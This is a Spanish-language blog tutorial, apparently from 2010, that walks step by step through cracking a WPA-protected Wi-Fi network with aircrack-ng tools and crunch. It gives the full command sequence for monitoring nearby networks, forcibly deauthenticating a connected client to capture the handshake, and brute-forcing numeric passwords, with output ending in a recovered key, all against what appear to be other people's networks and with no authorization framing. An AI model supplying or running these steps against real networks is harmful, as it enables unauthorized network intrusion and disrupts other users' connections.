Romper WPA y WPA2 con crunch

Hace un tiempo me venían pidiendo armar un tutorial sobre cómo crackear redes con cifrados WPA y WPA2.
Entonces decidí por realizar este tuto utilizando una herramienta que reemplaza a los diccionarios y en mi caso me dió bastante efectividad.

Empecemos por dejar en claro un par de cuestiones, la encriptación WEP como ya sabemos es fácil de romper, se capturan paquetes para luego por ingeniería inversa crackear esos paquetes y conseguir la clave.
En el caso de WPA y WPA2 es distinto, el método anterior no puede ser utilizado.
Estos tipos de cifrados utilizan algo llamado "handshake" (apretón de manos), es una especie de "saludo" entre el AP (Access Point) y el Cliente.
Lo que debemos capturar en este caso justamente es ese handshake para estar en "confianza" con el AP e intentar mediante un diccionario o en este caso con otro método que utilizo yo, romper la clave.

Una vez aclarado el funcionamiento, largo el método:

Voy a utilizar un software llamado "crunch"

Vamos a bajarlo desde acá



Una vez que lo descargamos, lo descomprimimos:

tar -xvzf crunch*.tgz



Entramos al directorio

cd crunch



Lo compilamos, por las dudas primero dejo el build-essential por si no lo tienen:

apt-get install build-essential



Ahora si, lo compilamos:

make



make install



Por último copiamos el comando al sbin:

cp crunch /usr/sbin/



Voy a dar por sentado que tienen instalado aircrack-ng, pero como soy bueno, les dejo el apt-get por las dudas:

apt-get install aircrack-ng




Empezamos !!


Ponemos en modo promiscuo (monitor) nuestra placa (en mi caso la interfaz es aht1, cada cual ponga la suya):

airodump-ng ath1



Me aparecen un par de redes:

CH 6 ][ Elapsed: 4 s ][ 2010-07-11 23:44

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1B:113:A9:5D 2 2 0 0 1 54 . WEP WEP dlink-007
00:14:BF:79:8B:3C 5 2 0 0 6 54 WPA2 CCMP PSK PORINGA
00:21:29:EB:57:85 2 0 0 0 6 54 OPN Nazario_w
00:21:29:96:85:0C 9 3 1 0 6 54e WEP WEP Martin
00:1A:70:3D:3D:81 3 2 0 0 6 54 OPN linksys
00:1C:10:2A:C7:99 5 3 0 0 6 54e OPN Nazario_w
00:18:E7:56:26:89 7 4 0 0 6 54 . WPA TKIP PSK default
00:26:5A:53:E5:84 4 4 0 0 6 54 WEP WEP AR-RED
00:1D:7E:22:25:22 -1 0 3 1 6 -1 OPN <length:
00:18:E7:61:A9:47 8 3 0 0 6 54 . WPA TKIP PSK ESTUDIO J
00:0A:E5:79:83:E8 1 4 1 0 11 11 WEP WEP CIBERA
00:21:29:72C:32 5 3 0 0 11 54 . WEP WEP linksys
00:0F:A31:9C:5B 21 6 0 0 12 54 . WEP WEP LKSA
00:25:9C:69:97:B7 16 12 0 0 11 54e WPA2 TKIP PSK WIPS
00:0F:A31:67:8A 6 6 0 0 4 54 . WEP WEP Wi-Fi Arn
1C:AF7:42:E1:E6 -1 0 0 0 9 -1 <length:
00:15:63:11:69:90 16 10 0 0 9 12e. WEP WEP <length:
00:25:9C:3B:69:28 23 15 0 0 6 54e WEP WEP Apicc
00:40:77:BB:55:03 21 19 0 0 6 54e WPA TKIP PSK dd-wrt
00:21:00:61:B9:12 1 2 0 0 1 54 OPN FT89769



Juro que el ESSID PORINGA no es mío !!

Bueno, sigamos, la que voy a utilizar es "default" que tiene cifrado WPA TKIP PSK:

TKIP: (Temporal Key Integrity Protocol)
PSK: (Pre-Shared Key)



Una vez que tenemos el MAC del AP y el canal, ponemos:

airodump-ng -c NUMERODELCANAL --bssid MAC-DEL-AP -w default ath1



En este caso:

airodump-ng -c 6 --bssid 00:18:E7:56:26:89 -w default ath1



Ahora airodump sólo va a escuchar ese canal y ese AP.:

CH 6 ][ Elapsed: 9 mins ][ 2010-07-11 23:53 ]

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:18:E7:56:26:89 9 90 4152 762 5 6 54 . WPA TKIP PSK defau

BSSID STATION PWR Rate Lost Packets Probes

00:18:E7:56:26:89 00:0C:41:7A:77:43 51 11 - 1 42 1102
00:18:E7:56:26:89 00:1F:E1:23:33:40 15 0 - 1 0 61 default



Acá tenemos dos posibles escenarios:

1) Esperar que se conecte un nuevo cliente para adquirir el handshake
2) Desautenticar un cliente ya conectado para que vuelva a conectarse y adquirir el handshake

En este caso vamos a utilizar la segunda opción, anotamos el MAC del AP y el MAC del cliente conectado.

AP: 00:18:E7:56:26:89
Cliente Conectado: 00:0C:41:7A:77:43


Procedemos a desautenticar al cliente mediante este comando:

aireplay-ng -0 10 -a MAC-DEL-AP -c MAC-DEL-CLIENTE ath1



En este caso:

aireplay-ng -0 10 -a 00:18:E7:56:26:89 -c 00:0C:41:7A:77:43 ath1



Hace algo así:

[root@debian dke]# aireplay-ng -0 10 -a 00:18:E7:56:26:89 -c 00:0C:41:7A:77:43 ath1
23:46:18 Waiting for beacon frame (BSSID: 00:18:E7:56:26:89) on channel 6
23:46:19 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 1|173 ACKs]
23:46:20 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [14|155 ACKs]
23:46:20 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|207 ACKs]
23:46:21 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [11|173 ACKs]
23:46:21 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [31|186 ACKs]
23:46:26 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|240 ACKs]
23:46:27 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [3186 ACKs]
23:46:27 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|137 ACKs]
23:46:28 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|147 ACKs]
23:46:32 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [19|258 ACKs]



Si no lo desautentifica a la primera, volver a repetir el comando.

Una vez que el usuario es desautenticado y vuelva a ingresar nos va a aparecer arriba a la derecha el handshake

CH 6 ][ Elapsed: 9 mins ][ 2010-07-11 23:53 ][ WPA handshake: 00:18:E7:56:26:89



Listo, ya tenemos nuestro handshake, ahora utilizamos el crunch:


Escribimos esto:

crunch 8 9 0123456789 | aircrack-ng -a 2 RUTA-DEL-ARCHIVO-CAP -e default -b HANDSHAKE -w -



En este caso:

crunch 8 9 0123456789 | aircrack-ng -a 2 /home/dke/defa*.cap -e default -b 00:18:E7:56:26:89 -w -



Aclaración: "crunch 8 9" hace referencia a que las claves WPA como mínimo tienen 8 caracteres, en este caso yo quiero que sólo pruebe hasta 9 caracteres, y que utilice los números 0123456789.
El 75% de los usuarios cometen el error de "securizar" la red con WPA y usar claves numéricas, que en este caso vamos a ver lo fáciles que son de conseguir con crunch
Si quisiéramos que crunch use letras, pondríamos "crunch 8 15 (máximo 15 caracteres)" abcdefghijklmno"

Ahora vamos a ver como crunch empieza a generar claves y a probarlas con el aircrack-ng:


[root@debian dke]# crunch 8 9 0123456789 | aircrack-ng -a 2 /home/dke/defa*.cap -e default -b 00:18:E7:56:26:89 -w -
Opening /home/dke/default-01.cap
Reading packets, please wait...



Aircrack-ng 1.0 rc3


[00:00:50] 72172 keys tested (1445.33 k/s)


KEY FOUND! [ 00072169 ]


Master Key : F0 BE A1 08 A5 4C D6 E4 08 5C 5F B4 42 4A 69 F0
32 1D C9 11 D5 F3 BB 64 3D F2 31 AB FA F7 A7 1E

Transient Key : 72 42 D4 F0 91 91 E9 27 F8 8E D0 DF 1D 48 1B AD
16 10 78 D5 B1 7E 8D 9E 7A 76 68 AC 44 2A 37 94
30 4C 47 F5 FE EB 01 7E 8B 64 87 EF 78 3D 2F 1E
E8 6B 4A 2E E4 95 F4 57 4A 32 05 54 66 AA D6 98

EAPOL HMAC : C8 28 B2 83 87 05 18 45 D8 26 C0 42 1D AB A0 7D



Listo, ya tenemos la clave

Un video que capturé para los despistados y por las caritas de mierda que aparecen..


link: http://www.youtube.com/watch?v=s8hR3By8v_E





Fuente: mi blog y yo